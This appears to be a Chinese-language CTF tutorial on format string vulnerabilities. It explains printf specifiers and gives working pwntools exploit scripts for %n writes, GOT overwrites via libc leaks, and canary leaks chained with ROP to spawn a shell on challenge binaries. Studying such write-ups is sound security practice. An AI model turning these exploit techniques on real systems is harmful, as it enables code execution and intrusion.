格式化字符串漏洞

格式化字符串漏洞函数:

image-20240721162421903

以printf函数为例,它的第一个参数就是格式化字符串:“Color %s,Number %d,Float %4.2f”

然后printf函数会根据这个格式化字符串来解析对应的其它参数。

image-20240721162737400

漏洞原理利用:

程序崩溃:

最简单的的攻击方法,只需要输入一串%s就可以

%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

对于每一个 %s,printf() 都会从栈上取一个数字,把该数字视为地址,然后打印出该地址指向的内存内容,由于不可能获取的每一个数字都是地址,所以数字对应的内容可能不存在,或者这个地址是被保护的,那么便会使程序崩溃

在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储

image-20240721163221815

基本的格式化字符串漏洞的格式

1
2
//比如正确的写法是:printf("%s", pad)
//写成了:printf(pad)

%c为单个字符形式

%s为多个字符形式

%d为数字形式

%f是转为浮点型

%x是转为十六进制形式,不带0x

%p是转为十六进制,但是带0x

%n 将%n之前打印出来的字符的个数存入到参数中

  • 但是这里注意的是现在常用%p跟多些

一、常规题型

存在格式化字符串,满足条件之后执行shell

类似于

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
ctfshow();
if ( daniu == 6 )
{
puts("daniu praise you for a good job!");
system("/bin/sh");
}
return 0;
}




unsigned int ctfshow()
{
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
read(0, s, 0x50u);
printf(s);
printf("daniu now is :%d!\n", daniu);
return __readgsdword(0x14u) ^ v2;
}

根据格式化字符串找偏移,然后正常打

1
2
3
4
5
6
7
8
from pwn import*
#p=remote('pwn.challenge.ctf.show',28149)
p=process('./pwn')

#backdoor=0x80484F6
payload=p32(0x804B038)+b'aa'+b"%7$n"
p.sendline(payload)
p.interactive()

简单解释一下payload,前面的p32()是我们daniu(这里的题目环境是他在bss段上),因为要满足为6,所以在前面补了一个b’aa’

二、修改GOT表

主要遇到的函数

payload = fmtstr_payload(offset,{printf_got:system_plt})

32位修改GOT表
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
#io = process('./fmt')
io = remote('127.0.0.1',10000)
elf = ELF('./pwn')
offset = 6
printf_got = elf.got['printf']
system_plt = elf.plt['system']
payload = fmtstr_payload(offset,{printf_got:system_plt})
io.sendline(payload)
io.recv()
io.sendline('/bin/sh\x00')
io.interactive()
64位修改GOT表

题目:NewstarCTF-easy fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'

elf = ELF('./pwn')
libc=ELF("./libc.so.6")
p = process('./pwn')
#p=remote('101.200.139.65', 35044)


printf_got = elf.got['printf']
payload1 = b"AAAA"+b"%9$s"+ p64(printf_got)
p.recvuntil('data: ')
p.sendline(payload1)
p.recvuntil('AAAA')
#printf_addr=u64(p.recv(6).ljust(8,b'\x00'))
printf_addr = u64(p.recvuntil("\x7f").ljust(8,b"\x00"))
print(f"printf_addr: {hex(printf_addr)}")


libc_base= printf_addr -libc.sym["printf"]
print(f"libc_base: {hex(libc_base)}")


system = libc_base + libc.sym["system"]
print(f"system_addr: {hex(system)}")

pay =b'%'+str(system&0xffff).encode() +b'c%12$hn'
pay+=b'%'+str((system>>16&0xffff)-(system&0xffff)).encode() +b'c%13$hn'
pay=pay.ljust(0x20,b'\x00')+p64(printf_got)+p64(printf_got+2)

p.recvuntil("data: ")
p.send(pay)
p.recvuntil("data: ")
p.send(b'/bin/sh\x00')

p.interactive()

这里注意到的是因为我们泄露的地址一般为6字节,但是我们接收的是8字节,一般前面还要补齐两字节的0,但是一般是不显示的。

所以我们改写只是后三个字节。分为高16字节和低16字节。

当没有system函数时,利用泄露libc基址,获得system函数地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#32位
from pwn import *
#context.log_level = 'debug'
#context.arch = 'i386'
#context.os='linux'
elf = ELF('./1111')
libc=ELF("./libc6_2.31-0ubuntu9.8_i386.so")
p = process('./1111')

#params1

printf_got = elf.got['printf']
payload =p32(printf_got)+b"%6$s"
p.sendline(payload)
printf_addr= u32(p.recvuntil('\xf7')[-4:])
print(hex(printf_addr))


libc_base= printf_addr -libc.sym["printf"]
print(hex(libc_base))

system_addr = libc_base + libc.sym["system"]


payload=fmtstr_payload(6,{elf.got['printf']:system_addr})


p.sendline(payload)
p.sendline("/bin/sh\x00")


p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#64位
from pwn import*


p=remote('39.106.48.123', 38932)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')



payload='%15$p'
p.sendline(payload)

p.recvuntil('0x')
canary = int(p.recv(16),16)
print(hex(canary))
#把canary接上


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#main = elf.symbols['main']
main = 0x0000401228
pop_rdi =0x00000000004011bd
ret_addr=0x000000000040101a
#attack1



p.recvuntil('data: ')
payload = b'a'*(0x40-8)+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt) + p64(main)
#p.sendlineafter('input: ',payload)
p.sendline(payload)
p.recv()
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

#文件库

libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))
system_addr = libc_base+libc.sym["system"]
bin_sh = libc_base+libc.search(b"/bin/sh\x00").__next__()


#print(hex(libc_base))
print(hex(system_addr))
print(hex(bin_sh))

#attack2

p.recvuntil('data: ')
payload = b'a'*(0x40-8)+p64(canary)+p64(0xdeadbeef)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
p.sendlineafter('input: ',payload)



p.interactive()

三、泄露canary

image-20240729161727184

格式化字符串泄露canary

首先确认我们要知道的canary的位置,距离ebp的距离然后,在gdb调试找一下偏移

之后利用漏洞泄露canary的值

然后正常ROP链构造就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28206)
elf = ELF('./pwn')
shell = elf.sym['__stack_check']
io.recv()
payload = "%15$x"
io.sendline(payload)
canary = int(io.recv(),16)
log.info("Canary : 0x%x" % canary)
payload = cyclic(0x28) + p32(canary) + 'A'*0xC + p32(shell)
io.sendline(payload)
io.interactive()